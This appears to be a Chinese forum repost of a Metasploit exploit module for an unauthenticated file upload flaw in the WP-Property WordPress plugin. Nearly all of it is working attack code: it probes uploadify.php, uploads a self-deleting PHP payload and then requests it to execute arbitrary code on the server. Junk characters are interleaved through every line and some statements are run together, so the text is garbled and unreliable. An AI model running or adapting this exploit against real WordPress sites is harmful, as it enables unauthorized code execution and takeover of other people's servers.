WordPress WP-Property PHP 文件上传漏洞' p% `9 V" j" E) V8 F7 _
9 B8 s7 L" C0 x0 I
## # This file is part of the Metasploit Framework and may be subject to
/ F+ m* ]& k5 l& x; b$ w k( W" N7 Y* K: r0 a& ~: |6 {$ G
# redistribution and commercial restrictions. Please see the Metasploit
; Z5 Q6 s# E, `1 l3 n0 f# A: }. p' O* ?
# Framework web site for more information on licensing and terms of use.
3 r% D- K% \: o4 a9 }. k9 c/ y! i+ r8 a3 @6 W a2 q w ~
# http://metasploit.com/framework/ ##
/ v8 t# X( X! p6 T. ?) {; B; h' t, ~0 x
0 Y9 p2 D1 W- b* s* W j4 c+ K/ ^$ i. J
5 p3 t! R; m4 y
: ?" l8 y4 F, @5 |( n2 Q {; w% x; Z4 h5 \4 E
require 'msf/core'' K5 q2 Y% X! ~2 L) @4 g# J$ v) H
require 'msf/core/exploit/php_exe'
V2 O6 ]) y+ B7 O% w L0 g! y* [, b
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',
9 g( v. c3 `; M- ['Description' => %q{
) {/ r/ ^+ U8 a2 eThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
) ]- w* n/ P* x8 B[" l, j) v0 c' a$ f- ?: e% l$ R
'Sammy FORGIT', # initial discovery
$ a0 l6 \# j% |3 m& y, l'James Fitts <fitts.james[at]gmail.com>' # metasploit module
; a' B/ ]0 L( _+ e4 V: C],
. ~3 x/ i4 I! |" E! |% U'License' => MSF_LICENSE,0 {- P$ |6 i/ Q* l
'References' =>
; }1 B2 c8 D. W. m+ y5 d; b[- S/ I6 S6 g. d, ?& h. h2 T
[ 'OSVDB', '82656' ],9 L& O7 l! W6 a$ k* i( i! v4 R1 G
[ 'BID', '53787' ],
- g1 [5 R8 j$ v- ]" u9 j" M( P[ 'EDB', '18987'],
7 ^+ t! `( k) F$ D# P- f[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
& D& l7 B! I2 R$ N8 H; H, J: Y0 Z, P],
7 Z$ O% b2 ]% E9 [+ D& d/ h6 }8 M# ~'Payload' =>
. ]- y; W# k. y* t, @2 M) ?{
! F% K* P& \) x) f'BadChars' => "\x00",
# N5 @! L9 g& w* k},
* m; L. x& X* o: ?# }7 T'Platform' => 'php',
3 H( d) C2 {5 _: q$ R/ F'Arch' => ARCH_PHP,
3 L- h! u9 n$ o'Targets' =>
0 U4 O. K7 F" h[) t2 M% o/ g2 ^0 d( `$ v+ N
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
* W( f, g! S: e/ d$ `) `3 v5 s[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]+ u, i0 \- I/ V5 a; Z# ~8 b, B
],- Y# U, }. X" V# @. b
'DefaultTarget' => 0,9 P' }% }) G3 x; R; D
'DisclosureDate' => 'Mar 26 2012'))
9 N. A- ^$ t. d
( L% d+ t( J( [$ T, q. E" A, Nregister_options(
: @2 g. m4 H( t7 m& s+ h[
! A0 u. S) E/ ]" eOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
/ Z7 ~* A% R( I& f4 ?* F], self.class)
3 V) w! x8 @/ W2 I r' h% x( P9 O9 Hend
- r; k. H/ s- P8 A' S8 _! h9 C8 j- X; U7 s
def check
) L9 [; m+ Q7 Q" l- G( B8 Z$ Wuri = target_uri.path" H7 ]5 s& X3 e$ t6 h# X `
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',
/ G$ t9 W! d: H! m! l5 c'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"2 x p4 w* d$ Z& E
})
, e) ~) i s- c/ P$ ?
1 ], t" v5 v) r4 u5 Eif not res or res.code != 200% ~ }7 e0 b2 M
return Exploit::CheckCode::Unknown7 G% N3 g1 V8 b
end, j& z* A V2 O% b! A
) o2 i8 W' W& ?, x$ w7 d
return Exploit::CheckCode::Appears, [1 T( I& |. J1 c7 _) l
end
& f, j- o1 X$ k5 X; v( P% B2 r/ _4 N1 u% G
def exploit+ X9 G( B/ I( {7 O
uri = target_uri.path
! K; o# a1 k' [0 J1 duri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
% S/ D0 ^! x$ c! A/ Y8 B
0 K; b$ I$ I6 ^! T+ R' ]7 fdata = Rex::MIME::Message.new" L; `' J$ O0 X: {2 b% l' G! k
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")) J; R1 R8 b+ n1 V( W! Z. y
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")+ g, Y: y: y+ g& \: l/ J4 j
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
- b9 b! b& t n- w9 W: O
0 |4 ^% h) B2 I# N! G* ~print_status("#{peer} - Uploading payload #{@payload_name}")
3 B+ R4 b6 V6 k2 l; T; qres = send_request_cgi({
, Z% W \2 p: Z. h'method' => 'POST',6 j i8 P1 I8 Y/ [7 g
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
C5 j- V' G/ l% d/ r. b4 @'ctype' => "multipart/form-data; boundary=#{data.bound}",3 T: F7 |3 m( a6 Z& ?5 c
'data' => post_data
, ?; d( ]# _' u( J0 i})' u8 I3 c8 I ?7 X$ }% C1 L" S2 {
. E! B" @) B2 Y
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
' S, L3 P1 c* {0 s7 y) ^fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
1 D4 a ~% x5 A0 Oend* H5 q1 r e7 x( X5 Z
; N. i2 n; Z7 G& `6 [- x
upload_uri = res.body
% g/ k* e* i- k$ E8 t; b+ p+ _0 j2 n/ n) u$ ~" L
print_status("#{peer} - Executing payload #{@payload_name}")
( s9 ]4 z! b9 }. r' t/ rres = send_request_raw({
5 i& D8 T( N, s( F# ]& O'uri' => upload_uri,
. k: j0 {) T e {( w: B B9 P'method' => 'GET', @- p+ x7 g* f+ C" I5 j
})9 }# ]0 `4 E0 r1 e- E
end
% f, g& Y6 n# C, _% n. Uend
7 J6 J' Z- P+ I8 Q k5 y" U2 n# A/ z( m! n0 I8 u
不要问我这写的是什么 怎么利用 我是说msf.+ q9 t) E [6 n4 \1 G
+ X! R) B4 h: m( B q+ S4 X |